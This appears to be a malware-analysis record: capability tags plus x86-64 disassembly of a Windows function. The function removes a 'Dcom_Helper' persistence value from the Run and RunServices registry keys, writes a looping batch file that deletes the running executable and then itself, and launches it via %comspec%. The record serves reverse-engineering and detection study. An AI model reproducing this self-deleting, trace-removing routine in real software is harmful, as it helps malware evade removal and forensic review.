Function at 0x1400083dc
Capabilities:
Create process on windows
Delete registry value
Persist via run registry key
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], r14
push rbp
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xor r14d, r14d
cmp dword [reloc.WS2_32.dll_accept], r14d
je 0x14000851b
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], r14
mov rbx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rdx, str.Dcom_Helper
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunServices
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rdx, str.Dcom_Helper
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], r14
lea rcx, [rbx - 1]
mov dword [rsp + 0x28], 0xf003f
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rdx, str.Dcom_Helper
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x3f0]
lea rdx, str._s_r.bat
lea rcx, [rbp - 0x10]
call fcn.140001e18
mov qword [rsp + 0x30], r14
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x28], r14d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x140008640
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], r14
mov r8d, 0x69
lea rdx, str._echo_off_r_n:start_r_nif_not_exist____1___goto_done_r_ndel__F____1___r_ndel____1___r_ngoto_start_r_n:done_r_ndel__F__temp__r.bat_r_ndel__temp__r.bat_r_n
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x68
lea rcx, [rbp - 0x80]
mov r8d, ebx
xor edx, edx
call fcn.14007c4e0
xor ecx, ecx
mov dword [rbp - 0x80], ebx
mov word [rbp - 0x40], r14w
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, 0x100
lea rdx, [rbp + 0xf0]
mov rcx, rax
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r9, [rbp + 0xf0]
lea r8, [rbp - 0x10]
lea rdx, str.__comspec____c__s__s
lea rcx, [rbp + 0x1f0]
call fcn.140001e18
mov r8d, ebx
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x2f0]
lea rax, [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x28
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x10]
mov r14, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret